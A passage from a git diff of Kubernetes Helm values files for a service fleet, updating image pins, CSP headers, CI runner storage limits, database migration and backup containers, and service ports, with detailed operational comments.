# paths are the shape the fleet grew before that rule; new material goes to the
# canonical one rather than compounding the drift.
kmsSecrets:
- name: dataroom-replicate-age-kms-sync
secretsPath: /dataroom
keys:
- AGE_IDENTITY
- AGE_RECIPIENT
secretName: dataroom-replicate-age
labels:
app.kubernetes.io/part-of: universe
cd:
automated: true
+8 -1
View File
@@ -1,4 +1,11 @@
# Generated from the dns App CR by hack/app2values.py.
# The dns declaration. Hand-maintained: this file IS the source of truth, read
# by the `fleet` ApplicationSet (charts/app/values/*/*.yaml). Edit it directly.
#
# It previously claimed to be generated from an App CR by hack/app2values.py.
# Both are gone — 0c7b5ea36 deleted infra/k8s/operator/crs, and the script with
# it — so that header named a generator nobody could run from an input that did
# not exist, which reads as "do not edit" and sends you looking for a source that
# is not there.
imagePullSecrets: []
# Carried from live, where it has kept dns 1/1 for 19h. The values said
# defaultReadinessProbe:false — no probe at all — so the chart wanted to REMOVE
+19 -4
View File
@@ -1,4 +1,11 @@
# Generated from the docs App CR by hack/app2values.py.
# The docs declaration. Hand-maintained: this file IS the source of truth, read
# by the `fleet` ApplicationSet (charts/app/values/*/*.yaml). Edit it directly.
#
# It previously claimed to be generated from an App CR by hack/app2values.py.
# Both are gone — 0c7b5ea36 deleted infra/k8s/operator/crs, and the script with
# it — so that header named a generator nobody could run from an input that did
# not exist, which reads as "do not edit" and sends you looking for a source that
# is not there.
cd:
automated: true # sole writer: no App CR
replicas: 2
@@ -14,9 +21,17 @@ env:
# The origin is named explicitly rather than widening to https: — a CSP that
# allows any origin to run script is not a policy, and the whole point of this
# header is that only what we name may execute.
#
# connect-src names hanzo.app for the same reason, and it is the half that was
# missing. With the script allowed and its fetches refused, edit.js loaded and
# then failed: measured on the live site, four console errors on EVERY route
# (/, /docs, /docs/getting-started, /docs/api, at 1280 and at 390) — two for
# https://hanzo.app/v1/edit/config, two for https://hanzo.app/v1/me. The "edit
# this page" control was dead on all of them, and the widget painted an empty
# ~28px ring bottom-right and deleted itself when its config fetch was refused.
- name: HANZO_STATIC_CSP
value: 'default-src ''self''; base-uri ''self''; object-src ''none''; frame-ancestors ''none''; script-src ''self'' ''unsafe-inline'' ''unsafe-eval'' blob: https://hanzo.app; style-src ''self'' ''unsafe-inline''; img-src
''self'' data: https:; font-src ''self'' data:; connect-src ''self'' https://api.hanzo.ai https://analytics.hanzo.ai; worker-src ''self'' blob:; child-src ''self'' blob:; manifest-src ''self'''
''self'' data: https:; font-src ''self'' data:; connect-src ''self'' https://api.hanzo.ai https://analytics.hanzo.ai https://hanzo.app; worker-src ''self'' blob:; child-src ''self'' blob:; manifest-src ''self'''
resources:
limits:
cpu: 200m
@@ -48,7 +63,7 @@ image:
# `<40-char SHA>-amd64-<tag-suffix>`, and the bare 40-char tag this file used
# to read like DOES NOT EXIST in GHCR for this commit. Pinning the bare SHA
# here would be an ImagePullBackOff, not a rollback.
tag: ae51c3fc7f0b1e6a3fa49a217ecee8850a75e7d6-amd64-docs
tag: f74f8eff8019fc0ca0cffc17d2dbaec3d1da85f1-amd64-docs
# Pinned by digest as well as tag. A commit-sha tag reads well but is still a
# tag and can be repointed; the digest is what actually gets pulled. The chart
# renders repo:tag@digest, so the pin stays legible AND immutable.
@@ -59,7 +74,7 @@ image:
# repo:newtag@olddigest, and the digest is what the kubelet honours, so the
# rollout looks clean, reports the new tag on the pod, and quietly serves the
# previous build. That happened here once already.
digest: sha256:2ab32ff4ef0fc5e40cd31755fe0a136f99a3c9a49763f0496be2e494dea9ac92
digest: sha256:4fac71b1fb240a375e9736f0b3c42527a1fb04d5d792a17af956f798db9a42a3
pullPolicy: IfNotPresent
ingress:
enabled: true
+8 -1
View File
@@ -1,4 +1,11 @@
# Generated from the engine App CR by hack/app2values.py.
# The engine declaration. Hand-maintained: this file IS the source of truth, read
# by the `fleet` ApplicationSet (charts/app/values/*/*.yaml). Edit it directly.
#
# It previously claimed to be generated from an App CR by hack/app2values.py.
# Both are gone — 0c7b5ea36 deleted infra/k8s/operator/crs, and the script with
# it — so that header named a generator nobody could run from an input that did
# not exist, which reads as "do not edit" and sends you looking for a source that
# is not there.
replicas: 1
partOf: platform
component: engine
+8 -1
View File
@@ -1,4 +1,11 @@
# Generated from the flow App CR by hack/app2values.py.
# The flow declaration. Hand-maintained: this file IS the source of truth, read
# by the `fleet` ApplicationSet (charts/app/values/*/*.yaml). Edit it directly.
#
# It previously claimed to be generated from an App CR by hack/app2values.py.
# Both are gone — 0c7b5ea36 deleted infra/k8s/operator/crs, and the script with
# it — so that header named a generator nobody could run from an input that did
# not exist, which reads as "do not edit" and sends you looking for a source that
# is not there.
replicas: 1
partOf: platform
component: flow
+83 -5
View File
@@ -52,8 +52,8 @@ image:
# ⚠️ /root/.cache is the container's ephemeral layer, NOT a volume, so every
# roll WIPES all ten act caches. That is safe only because of 4972baa — a
# cold runner now fetches what it needs.
tag: 0.6.1-hanzo.d0a9bc7
digest: sha256:7a91319381df59255dd46ddc8f1887b2f4d886724f726beabf2269ff518eb93a
tag: 0.6.1-hanzo.f6522cd
digest: sha256:2cc703fd3a82f69d26f7c9577dc26a3667dc655a2ea9d3195a4e0610af8f28d3
pullPolicy: IfNotPresent
partOf: git
env:
@@ -105,7 +105,35 @@ resources:
memory: 26Gi
requests:
cpu: 500m
ephemeral-storage: 38Gi
# This tracks the docker-storage cap below, and has to. A request is what the
# SCHEDULER reserves; the emptyDir sizeLimit is what the pod may actually
# consume. Leave the request at 38Gi while the cap is 200Gi and the scheduler
# believes a runner needs a fifth of what it can take — so it will happily
# place more runners on a node than that node's disk can serve, and the first
# symptom is the eviction this whole change exists to end.
#
# 200Gi was a guess made before anyone read the meter, and the meter now says
# it is ~4.7x too big. MEASURED per-pod, kubelet stats/summary, all 10 runners
# live: 6.9 8.2 8.5 9.5 13.3 14.2 14.5 21.9 24.3 42.6 GiB. Peak 42.6.
#
# Do NOT read that as "so request 24KB". A `df` inside the pod reports the
# NODE's filesystem, not the pod's, and reading it that way understates a
# 42.6Gi runner by six orders of magnitude. These runners run Docker-in-Docker
# and hoard image layers between prunes; the disk is genuinely used.
#
# 96Gi is 2.25x the observed peak — deliberate headroom, because the failure
# this bounds is a build evicted at 90% for want of a cap nobody remeasured,
# and that costs far more than a reservation does. It still takes the pool
# from five runners per node to eleven (~1141Gi allocatable), which is the
# whole point: node ephemeral requests drop 98% -> ~45%, so the autoscaler
# stops holding 1TB nodes open purely to satisfy a number no one had checked.
#
# Re-measure before moving it again — the command is
# kubectl get --raw /api/v1/nodes/<node>/proxy/stats/summary
# and the field is .pods[].ephemeral-storage.usedBytes.
#
# Move this and the sizeLimit together, or not at all.
ephemeral-storage: 96Gi
# A REQUEST is a reservation held whether or not it is used, and this one was
# 13Gi against a 29Gi node — two runners per node, 95% of the pool booked, for
# processes measured at 0.5-1.6Gi resident while idle. The pool was therefore
@@ -145,7 +173,50 @@ volumes:
name: git-runner-config
name: config
- emptyDir:
sizeLimit: 38Gi
# 200Gi, on a node that has 1.2TB to give.
#
# This is node ephemeral storage and the kubelet enforces it by EVICTING the
# pod, so a build that outgrows it is killed mid-run with its log simply
# stopping — no error line, nothing to read. That signature accounted for
# 94 of the 111 failing tests in cloud gate run 836 (`no space left on
# device`), run 829's truncated log, and the docs build dying at
# "Finalizing page optimization".
#
# 38Gi was the old value and it was below the requirement: cloud's suite was
# MEASURED at 56.5G of /var/lib/docker on git-runner-8, which then evicted.
# A cap under the heaviest real build is not a safety margin, it is a
# scheduled failure.
#
# It could not simply be raised while runners sat on g-8vcpu-32gb, whose disk
# is 100GB: two runners share a node, so anything above ~44Gi meant one
# runner per node and half the fleet. The nodeSelector below moves them to
# runner-pool-1tb (so-8vcpu-64gb-intel, 1200GB NVMe), where 2 x 200Gi plus
# the ~14GB image store is ~37% of the disk and two runners still share it.
#
# A PersistentVolumeClaim would be the better shape — size as a property of
# the runner rather than of what it is scheduled beside — and was tried in
# 925984f. It was reverted in 7b561ae1 because volumeClaimTemplates is
# IMMUTABLE on an existing StatefulSet: the API refuses the update, and
# landing it costs a delete/recreate of the whole CI fleet. sizeLimit and
# nodeSelector are both spec.template fields, so this change applies in
# place. Revisit the PVC only alongside a planned StatefulSet replacement.
#
# This does NOT replace the prune CronJob: a leak fills any volume, and a
# bigger cap only changes how long that takes.
#
# 200Gi -> 96Gi, moved with the request above (they track, see there).
# 96Gi is chosen against the two real numbers on this pod, not a round guess:
# the 56.5G eviction recorded above is the highest /var/lib/docker ever
# OBSERVED to reach here, and today's live peak across all 10 runners is
# 42.6Gi. 96Gi clears the historical worst by 1.7x and the current worst by
# 2.25x, while ending the state where five runners book a whole 1TB node.
#
# 64Gi was considered and rejected: it sits only 1.13x above a disk size this
# fleet has already reached once, and the failure it would cause is a build
# evicted at 90% — the exact failure the 200Gi cap was raised to stop. Do not
# tighten this below 96Gi without a fresh measurement showing the 56.5G peak
# is no longer reachable.
sizeLimit: 96Gi
name: docker-storage
- name: docker-auth
secret:
@@ -154,7 +225,14 @@ volumes:
path: config.json
secretName: ghcr-secret
nodeSelector:
runner-pool: 32g
# runner-pool-1tb: so-8vcpu-64gb-intel — 1200GB NVMe, 64GB RAM, 8 vCPU.
#
# The old runner-pool-32g is g-8vcpu-32gb with a 100GB disk, which is the whole
# reason the cap above had to be 38Gi. It also has 32GB of RAM against two
# runners whose memory LIMIT is 26Gi each — 52Gi — so the pair could never both
# reach their limit, and node memory evictions were already being observed.
# 64GB makes that pair legitimate.
runner-pool: 1tb
tolerations:
- effect: NoSchedule
key: dedicated
+297 -5
View File
@@ -1,8 +1,15 @@
# Generated from the hanzo-app-base App CR by hack/app2values.py.
# The hanzo-app-base declaration. Hand-maintained: this file IS the source of truth, read
# by the `fleet` ApplicationSet (charts/app/values/*/*.yaml). Edit it directly.
#
# It previously claimed to be generated from an App CR by hack/app2values.py.
# Both are gone — 0c7b5ea36 deleted infra/k8s/operator/crs, and the script with
# it — so that header named a generator nobody could run from an input that did
# not exist, which reads as "do not edit" and sends you looking for a source that
# is not there.
replicas: 1
partOf: hanzo-app
component: base
env:
env: &base-env
- name: IAM_ENDPOINT
value: http://iam.hanzo.svc.cluster.local
- name: KMS_ENDPOINT
@@ -13,12 +20,17 @@ env:
value: https://kms.hanzo.ai
- name: BASE_API_PREFIX
value: /v1
# No --automigrate: migrations run to completion in the `migrate` init
# container below, so the serving process never executes a migration and a
# bad one fails the pod at Init — unambiguous in `kubectl get pods`, and the
# app never serves against a half-applied schema. (The 0.39.16 recursion ran
# inside the boot automigrate of the SERVING process; this is the structural
# end of that class.)
args:
- serve
- --http=0.0.0.0:8090
- --dir=/data
- --migrationsDir=/migrations
- --automigrate
- --origins=https://hanzo.app
resources:
limits:
@@ -34,6 +46,9 @@ volumes:
- configMap:
name: hanzo-app-base-migrations
name: migrations
- configMap:
name: hanzo-app-base-replicate-config
name: replicate-config
volumeMounts:
- mountPath: /data
name: data
@@ -50,8 +65,8 @@ ports:
strategy: Recreate
image:
repository: ghcr.io/hanzoai/base
tag: 0.39.11
digest: sha256:aea9178a6a9d9ec78af380a95de4f9f877ceea888d666578a170061ec585d12c
tag: 0.39.17
digest: sha256:8d05b245c4d290d1f7d5bb0d1b188376513097d896abc0ce9330f47406864b11
pullPolicy: IfNotPresent
livenessProbe:
timeoutSeconds: 3
@@ -72,6 +87,283 @@ readinessProbe:
path: /healthz
port: 8090
# The collections hanzo.app stores in this Base. They live here because they
# CANNOT be created by the app: Base's collections API is superuser-only and an
# IAM identity is never a Base superuser, so declared state is the only way they
# can exist. `--automigrate` applies them at boot.
#
# This ConfigMap was applied by hand and had no source in any repo; adopting it
# here is what makes it reconcilable.
#
# Reverted once (af64aeb5b) while hanzo-app-base crash-looped, on the theory
# that mounting these files caused it. They did not: 0.39.16 recursed forever in
# core.(*Collection).UnmarshalJSON on ANY unapplied migration, because
# `type alias *Collection` is a defined POINTER alias and jsonv2 re-enters the
# element's UnmarshalJSON through it. The revert only deleted the DECLARATION —
# the object stayed, so the pod went on mounting a ConfigMap nothing owned, and
# the collections were applied anyway by the 0.39.11 rollback pod.
#
# Restored on 0.39.17, which fixes the alias. Measured on prod bytes under
# GOEXPERIMENT=jsonv2, same data and same unapplied migration: 0.39.16 exits 2
# with "fatal error: stack overflow", 0.39.17 applies it and serves.
podAnnotations:
hanzo.ai/migrations: "3b40401a9504"
configMaps:
- name: hanzo-app-base-migrations
data:
1750000000_projects.js: |-
// hanzo-app project metadata collection.
//
// One shared base collection, one row per (user_id, space_id). hanzo.app's
// server is the trust boundary: it authenticates the end user via hanzo.id
// (IAM/OIDC), then talks to this Base with the user's IAM bearer token and
// ALWAYS scopes every query by user_id = the IAM `sub`. Base validates the
// token against hanzo.id JWKS; the rules below only assert "a valid IAM
// user" — per-user isolation is enforced by hanzo.app's filter, and the
// NetworkPolicy pins the only caller to hanzo-app pods.
migrate((app) => {
const collection = new Collection({
type: "base",
name: "projects",
listRule: "@request.auth.id != ''",
viewRule: "@request.auth.id != ''",
createRule: "@request.auth.id != ''",
updateRule: "@request.auth.id != ''",
deleteRule: "@request.auth.id != ''",
fields: [
{ name: "user_id", type: "text", required: true, min: 1, max: 255 },
{ name: "space_id", type: "text", required: true, min: 1, max: 255 },
{ name: "prompts", type: "json", maxSize: 1048576 },
{ name: "created", type: "autodate", onCreate: true, onUpdate: false },
{ name: "updated", type: "autodate", onCreate: true, onUpdate: true },
],
indexes: [
"CREATE UNIQUE INDEX `idx_projects_user_space` ON `projects` (`user_id`, `space_id`)",
"CREATE INDEX `idx_projects_user_created` ON `projects` (`user_id`, `created`)",
],
});
return app.save(collection);
}, (app) => {
const collection = app.findCollectionByNameOrId("projects");
return app.delete(collection);
});
1760000000_images.js: |-
// hanzo-app reference images: the bytes, what was imported, and what was
// derived from it.
//
// Same trust boundary as the projects collection above: hanzo.app authenticates
// the person through hanzo.id and always scopes queries by user_id = the IAM
// `sub`. These exist as declared state because they HAVE to — Base's
// collections API is superuser-only and an IAM identity is never a Base
// superuser, so the app can never create them at runtime.
//
// `images` VIEWS PUBLICLY, and that is deliberate. Its rows are the pictures a
// built page is made of, loaded by strangers who have no session; a
// signed-in-only image is a broken image for everyone the site was published
// for. The record id is unguessable and is itself the capability to read, which
// is the posture of the public space files this replaced. Listing still
// requires a session, so the set cannot be enumerated.
migrate((app) => {
const images = new Collection({
type: "base",
name: "images",
listRule: "@request.auth.id != ''",
viewRule: "",
createRule: "@request.auth.id != ''",
updateRule: "@request.auth.id != ''",
deleteRule: "@request.auth.id != ''",
fields: [
{ name: "user_id", type: "text", required: true, min: 1, max: 255 },
{ name: "space_id", type: "text", required: true, min: 1, max: 255 },
{ name: "name", type: "text", max: 255 },
{
name: "file",
type: "file",
required: true,
maxSelect: 1,
maxSize: 5242880,
mimeTypes: [
"image/png",
"image/jpeg",
"image/gif",
"image/webp",
"image/avif",
"image/svg+xml",
],
},
{ name: "created", type: "autodate", onCreate: true, onUpdate: false },
],
indexes: [
"CREATE INDEX `idx_images_user_space` ON `images` (`user_id`, `space_id`)",
],
});
// One row per imported source item. Unique on (user, space, external) so
// re-importing a folder updates what is already there instead of duplicating
// it — and so a person's chosen mode survives the re-import.
const assets = new Collection({
type: "base",
name: "assets",
listRule: "@request.auth.id != ''",
viewRule: "@request.auth.id != ''",
createRule: "@request.auth.id != ''",
updateRule: "@request.auth.id != ''",
deleteRule: "@request.auth.id != ''",
fields: [
{ name: "user_id", type: "text", required: true, min: 1, max: 255 },
{ name: "space_id", type: "text", required: true, min: 1, max: 255 },
{ name: "kind", type: "text", max: 32 },
{ name: "external", type: "text", max: 255 },
{ name: "name", type: "text", max: 255 },
{ name: "mode", type: "text", max: 32 },
{ name: "url", type: "text", max: 2048 },
{ name: "origin", type: "text", max: 2048 },
{ name: "created", type: "autodate", onCreate: true, onUpdate: false },
],
indexes: [
"CREATE UNIQUE INDEX `idx_assets_user_space_external` ON `assets` (`user_id`, `space_id`, `external`)",
],
});
// ONE derived document per project, rewritten whenever an asset lands or
// leaves — hence unique on (user, space) rather than one row per reading.
const brand = new Collection({
type: "base",
name: "brand",
listRule: "@request.auth.id != ''",
viewRule: "@request.auth.id != ''",
createRule: "@request.auth.id != ''",
updateRule: "@request.auth.id != ''",
deleteRule: "@request.auth.id != ''",
fields: [
{ name: "user_id", type: "text", required: true, min: 1, max: 255 },
{ name: "space_id", type: "text", required: true, min: 1, max: 255 },
{ name: "brand", type: "json", maxSize: 1048576 },
{ name: "created", type: "autodate", onCreate: true, onUpdate: false },
{ name: "updated", type: "autodate", onCreate: true, onUpdate: true },
],
indexes: [
"CREATE UNIQUE INDEX `idx_brand_user_space` ON `brand` (`user_id`, `space_id`)",
],
});
app.save(images);
app.save(assets);
return app.save(brand);
}, (app) => {
for (const name of ["brand", "assets", "images"]) {
app.delete(app.findCollectionByNameOrId(name));
}
});
# Continuous backup, same shape as chat and dataroom (see
# infra/k8s/backup/README.md): replicate streams the WAL to SeaweedFS,
# age-encrypted client-side, and a restore init container pulls it back on a
# fresh pod. Only data.db replicates — auxiliary.db is Base's log store,
# derivable and not worth a second lineage. The age keypair predates this
# wiring (Secret hanzo-app-replicate-age, created 2026-07-22, never connected;
# nothing was ever sealed to it, so it is reused, not rotated — the same call
# the dataroom repair made). Its keys are `identity`/`recipients`, chat's
# spelling, not dataroom's uppercase.
- name: hanzo-app-base-replicate-config
data:
replicate.yml: |
# hanzoai/replicate -- SQLite WAL -> S3 (SeaweedFS).
dbs:
- path: /data/data.db
replicas:
- type: s3
bucket: hanzo-app-db
path: hanzo-app/app
endpoint: http://s3.hanzo.svc:9000
region: us-east-1
force-path-style: true
access-key-id: ${S3_ACCESS_KEY_ID}
secret-access-key: ${S3_SECRET_ACCESS_KEY}
age:
identities:
- ${AGE_IDENTITY}
recipients:
- ${AGE_RECIPIENT}
initContainers:
- name: replicate-restore
# v0.9.10: reasserts its own schema on every lock acquisition, which is what
# survives Base rewriting the file wholesale; older tags lose their
# bookkeeping tables to any schema reconciler (the dataroom incident).
image: ghcr.io/hanzoai/replicate:v0.9.10@sha256:5ee5dba043260c2aceac27213cb4bf5243cf4b089406ed902ea2b6d73379bd78
command:
- /usr/local/bin/replicate
args:
- restore
- -config
- /etc/replicate/replicate.yml
- -if-db-not-exists
- -if-replica-exists
- /data/data.db
env: &replicate-env
- name: S3_ACCESS_KEY_ID
valueFrom:
secretKeyRef:
name: s3-credentials
key: access-key
- name: S3_SECRET_ACCESS_KEY
valueFrom:
secretKeyRef:
name: s3-credentials
key: secret-key
- name: AGE_IDENTITY
valueFrom:
secretKeyRef:
name: hanzo-app-replicate-age
key: identity
- name: AGE_RECIPIENT
valueFrom:
secretKeyRef:
name: hanzo-app-replicate-age
key: recipients
volumeMounts: &replicate-mounts
- name: data
mountPath: /data
- name: replicate-config
mountPath: /etc/replicate
# Migrations as their own one-shot, AFTER restore and BEFORE serve. No
# `image:`, so it inherits the app's pinned build (the chart's own
# inheritance rule) — the migration runner can never drift from the binary
# that will serve the result. Order matters: restore first (a fresh volume
# gets the replica before anything writes), then migrate, then the app.
- name: migrate
# The binary registers the platform plugin before cobra dispatches, so even
# `migrate up` demands the IAM/KMS endpoints — the init needs the app's env.
env: *base-env
command:
- /app/base
args:
- migrate
- up
- --dir=/data
- --migrationsDir=/migrations
volumeMounts:
- name: data
mountPath: /data
- name: migrations
mountPath: /migrations
readOnly: true
sidecars:
- name: replicate
image: ghcr.io/hanzoai/replicate:v0.9.10@sha256:5ee5dba043260c2aceac27213cb4bf5243cf4b089406ed902ea2b6d73379bd78
imagePullPolicy: IfNotPresent
command:
- /usr/local/bin/replicate
args:
- replicate
- -config
- /etc/replicate/replicate.yml
env: *replicate-env
volumeMounts: *replicate-mounts
# Enforcement switch, read by the fleet ApplicationSet's templatePatch — not by
# the chart. On because this service's App CR is orphan-deleted (verified: the
# workload survived with its original UID), so CD is the only writer left.
+2 -2
View File
@@ -115,8 +115,8 @@ image:
# brief full outage, so bump ONCE rather than chasing each image" — described
# replicas 1 + Recreate, which is fixed above: the rollout waits for readiness,
# so a bump is no longer an outage and no longer needs batching.
tag: v1.42.321
digest: sha256:93edd74feef1aa3e42f5e4f9f3a1e5b88846c5bffbf5427f39603046c2d0731f
tag: v1.42.342
digest: sha256:e7233e8d57a5ec56666846ba962de3e430bac39c327b61a77d8e36a1b5036a1d
pullPolicy: Always
livenessProbe:
initialDelaySeconds: 30
+8 -1
View File
@@ -1,4 +1,11 @@
# Generated from the hanzo-bot-site App CR by hack/app2values.py.
# The hanzo-bot-site declaration. Hand-maintained: this file IS the source of truth, read
# by the `fleet` ApplicationSet (charts/app/values/*/*.yaml). Edit it directly.
#
# It previously claimed to be generated from an App CR by hack/app2values.py.
# Both are gone — 0c7b5ea36 deleted infra/k8s/operator/crs, and the script with
# it — so that header named a generator nobody could run from an input that did
# not exist, which reads as "do not edit" and sends you looking for a source that
# is not there.
replicas: 2
partOf: platform
component: bot-site
+8 -1
View File
@@ -1,4 +1,11 @@
# Generated from the hanzo-git App CR by hack/app2values.py.
# The hanzo-git declaration. Hand-maintained: this file IS the source of truth, read
# by the `fleet` ApplicationSet (charts/app/values/*/*.yaml). Edit it directly.
#
# It previously claimed to be generated from an App CR by hack/app2values.py.
# Both are gone — 0c7b5ea36 deleted infra/k8s/operator/crs, and the script with
# it — so that header named a generator nobody could run from an input that did
# not exist, which reads as "do not edit" and sends you looking for a source that
# is not there.
replicas: 1
partOf: git
component: git
+8 -1
View File
@@ -1,4 +1,11 @@
# Generated from the hanzo-vote App CR by hack/app2values.py.
# The hanzo-vote declaration. Hand-maintained: this file IS the source of truth, read
# by the `fleet` ApplicationSet (charts/app/values/*/*.yaml). Edit it directly.
#
# It previously claimed to be generated from an App CR by hack/app2values.py.
# Both are gone — 0c7b5ea36 deleted infra/k8s/operator/crs, and the script with
# it — so that header named a generator nobody could run from an input that did
# not exist, which reads as "do not edit" and sends you looking for a source that
# is not there.
replicas: 2
partOf: universe
component: vote
+8 -1
View File
@@ -1,4 +1,11 @@
# Generated from the help App CR by hack/app2values.py.
# The help declaration. Hand-maintained: this file IS the source of truth, read
# by the `fleet` ApplicationSet (charts/app/values/*/*.yaml). Edit it directly.
#
# It previously claimed to be generated from an App CR by hack/app2values.py.
# Both are gone — 0c7b5ea36 deleted infra/k8s/operator/crs, and the script with
# it — so that header named a generator nobody could run from an input that did
# not exist, which reads as "do not edit" and sends you looking for a source that
# is not there.
replicas: 1
partOf: platform
component: help
+44 -2
View File
@@ -190,6 +190,27 @@ ports:
- containerPort: 8000
name: http
servicePort: 80
# The ZAP door. `serve --zap :9653` above binds it on every rollout and has done
# since the flag was added; this entry is what makes it REACHABLE. Without it the
# listener came up inside the pod and the Service published port 80 alone, so:
#
# nc iam.hanzo.svc 80 -> OPEN (http, the only published port)
# nc iam.hanzo.svc 9653 -> CLOSED (no such Service port)
# nc <podIP> 9653 -> OPEN (the listener was there the whole time)
#
# A door that is bound and unroutable is worse than one that was never opened,
# because every caller reads the refusal as "iam does not speak ZAP" and writes
# an HTTP client instead — which is what the fleet did, six times over: base
# (25+ call sites to https://hanzo.id), commerce (20), ai (9), visor, gateway
# (JWKS through the public edge) and kms (token exchange). Each of those hairpins
# out through Cloudflare to reach a pod one hop away, and each was a rational
# response to the only evidence available.
#
# containerPort with no servicePort publishes 9653 -> 9653 (charts/app/templates/
# service.yaml: `port: .servicePort | default .containerPort`), which is how
# cloud already publishes its own zap port.
- containerPort: 9653
name: zap
strategy: Recreate
image:
repository: ghcr.io/hanzoai/iam
@@ -347,12 +368,33 @@ image:
# by the sync workflow, and a push made with the workflow token does not trigger
# a build. Their commits are patch-equivalent to commits already on this line
# (verified with git cherry-mark), so this skips nothing.
tag: v1.34.17
#
# v1.34.22 (93a0e3ac): the authorize front door relocates a sign-in off an
# alias host to its pinned issuer BEFORE the host-only hanzo_fed cookie is set,
# so social sign-in begun on iam.hanzo.ai/auth.hanzo.ai no longer strands the
# cookie where the hanzo.id callback can't read it ("the federation session
# could not be verified"). Reproduced live, fixed forward, full oidc suite green.
#
# v1.34.23 (7f2a9152): a machine credential names its payer. A
# client_credentials token carried no `billing_account` claim, so
# account.Payer fell to its shape rule — and that rule makes the SIGNUP org
# special, handing anyone in it a PERSONAL wallet so a $0 stranger cannot
# spend the platform pool. A machine has no person, so the wallet it was
# handed ("hanzo/<app>") is one nothing funds: hanzo/hanzo-insights read $0
# while the hanzo pool held $149,893.88, and every AI feature in Insights
# 402'd `insufficient_balance`. Twenty first-party services mint through this
# same path. The token now states `billing_account: org:<its org>` — the same
# answer the shape rule already gives a machine in every org but the signup
# one, so no tenant's money moves — and the authority was already checked at
# registration (authz.CanSetOrg: SuperAdmin or that org's own admin), so the
# free-rider hole the personal-wallet rule exists to close stays closed.
# Full iam suite green; reproduced live before and after.
tag: v1.34.23
# The digest is the pin; the tag beside it is how a human reads it. A tag alone
# is mutable and IfNotPresent nodes never re-pull it — which is exactly how
# id 0.2.18 served a fix-free bundle for days while the tag read correct.
# VERIFIED against the registry before pinning.
digest: sha256:5c17d06d6e94d29932cf8baf450728b7c8333a94724350ead41eaa6a90ddcb96
digest: sha256:0d21bcb8ef8e14deab8a765c188b2acc56238123e90c1a7cdf2dc5e895e551e8
pullPolicy: IfNotPresent
livenessProbe:
initialDelaySeconds: 30
+10 -3
View File
@@ -1,4 +1,11 @@
# Generated from the id App CR by hack/app2values.py.
# The id declaration. Hand-maintained: this file IS the source of truth, read
# by the `fleet` ApplicationSet (charts/app/values/*/*.yaml). Edit it directly.
#
# It previously claimed to be generated from an App CR by hack/app2values.py.
# Both are gone — 0c7b5ea36 deleted infra/k8s/operator/crs, and the script with
# it — so that header named a generator nobody could run from an input that did
# not exist, which reads as "do not edit" and sends you looking for a source that
# is not there.
replicas: 2
partOf: security
component: login
@@ -91,14 +98,14 @@ image:
# (E2E-measured). The page now bootstraps the token via the silent-SSO
# authorize leg on mount. Plus: the plan step SAYS when the catalog fetch
# failed, and the popular plan wears a visible badge.
tag: 0.2.26
tag: 0.2.32
# Tag AND digest. The tag names the release; the digest proves the bytes. A
# semver tag is still mutable, and pinning it alone is the exact mechanism that
# once kept 0.2.18 serving stale bytes for days while the tag read correct.
# VERIFIED with `crane digest ghcr.io/hanzoai/id:0.2.22` before pinning, not
# assumed. A chart pinned to a tag that never existed fails safe and ships
# NOTHING while reading as done.
digest: sha256:05eedbf34248f8cb2047db16b33a63931b724b055355a040e1501b0758e048ed
digest: sha256:4c06b69e3cfad0b9cb74ed0c425d97519e4412355b7791a1a5c19124d6dc3e17
pullPolicy: IfNotPresent
livenessProbe:
timeoutSeconds: 3
@@ -18,7 +18,8 @@ component: livestream
image:
repository: ghcr.io/hanzoai/insights-livestream
tag: 1.0.0
tag: 1.0.2
digest: sha256:58a1209561fef8d7ad7cefec2b482b474d59ecc178c13fc62209530150d35e4e
# Tags here are immutable — the workflow refuses to push one that exists — so
# a cached layer can never be a DIFFERENT build of the same name.
pullPolicy: IfNotPresent
+21 -2
View File
@@ -17,8 +17,27 @@ selectorLabels:
containerName: plugin
image:
repository: ghcr.io/hanzoai/insights-plugin
tag: 0.1.4
digest: sha256:e53483e0a037ba23eb19d434ee6dafca68f610abf9039dcb7b7cbb47aab95aeb
# 0.1.6 = insights e89a5b62a3b8932587463d250def9bbbc30c2d0a (the image's own
# org.opencontainers.image.revision label), which derives the recording's
# project from the org and deletes the token path.
#
# This pin did NOT move on its own for two releases, and the reason is worth
# keeping: plugin.yml's `Ship it` step reads UNIVERSE_PIN_TOKEN from
# /v1/kms/orgs/<org>/secrets/... — a route the embedded KMS (HIP-0106) no
# longer serves. `curl -fsS` exits 22 on that 404 under `set -e`, so the step
# died BEFORE its own "UNIVERSE_PIN_TOKEN missing" guard could say so, and the
# run showed a bare curl error. 0.1.5 and 0.1.6 both built and pushed fine and
# both failed to pin. The workflows now read /v1/kms/secrets/<path>/<name>
# (org comes from the token, body is flat `.value`), so later releases move
# this line themselves.
#
# DIGEST, not just the tag: both forge mirrors (hanzo/insights and
# hanzoai/insights) run plugin.yml on every push to main, both computed
# NEXT=0.1.6 against the same empty-probe, and both pushed that tag ~1 minute
# apart with DIFFERENT digests. The tag is therefore not a stable identifier
# for this image; this digest is the build that won, and it is what runs.
tag: 0.1.8
digest: sha256:d1781d998428fbfe906dd0740e68b425cd7afd322647614d446c60ae42ee9424
pullPolicy: IfNotPresent
partOf: insights
component: plugin-server
+23 -4
View File
@@ -1,4 +1,11 @@
# Generated from the insights-web App CR by hack/app2values.py.
# The insights-web declaration. Hand-maintained: this file IS the source of truth, read
# by the `fleet` ApplicationSet (charts/app/values/*/*.yaml). Edit it directly.
#
# It previously claimed to be generated from an App CR by hack/app2values.py.
# Both are gone — 0c7b5ea36 deleted infra/k8s/operator/crs, and the script with
# it — so that header named a generator nobody could run from an input that did
# not exist, which reads as "do not edit" and sends you looking for a source that
# is not there.
replicas: 2
partOf: insights
component: web
@@ -186,8 +193,8 @@ ports:
strategy: RollingUpdate
image:
repository: ghcr.io/hanzoai/insights
tag: 1.52.68
digest: sha256:20018ffe71394d8bf1cacd5852406ca484d4dc0baf320c72a753cabe9e4119c3
tag: 1.52.80
digest: sha256:779c0f9c24a4d89df66d84fa699e0e296859718db42d10a938aee02957af5fb8
pullPolicy: IfNotPresent
livenessProbe:
timeoutSeconds: 3
@@ -209,7 +216,19 @@ pdb:
enabled: true
maxUnavailable: 1
ingress:
enabled: false
enabled: true
hosts:
- insights.hanzo.ai
tls: true
# This Ingress renders Host(`insights.hanzo.ai`) && PathPrefix(`/`), whose
# default Traefik priority is its rule length (~40). That is above the
# priority:1 `insights-hanzo-ai-web` router in infra/k8s/ingress/routes.yaml,
# which it supersedes — both terminate at insights-web:8000, so the swap
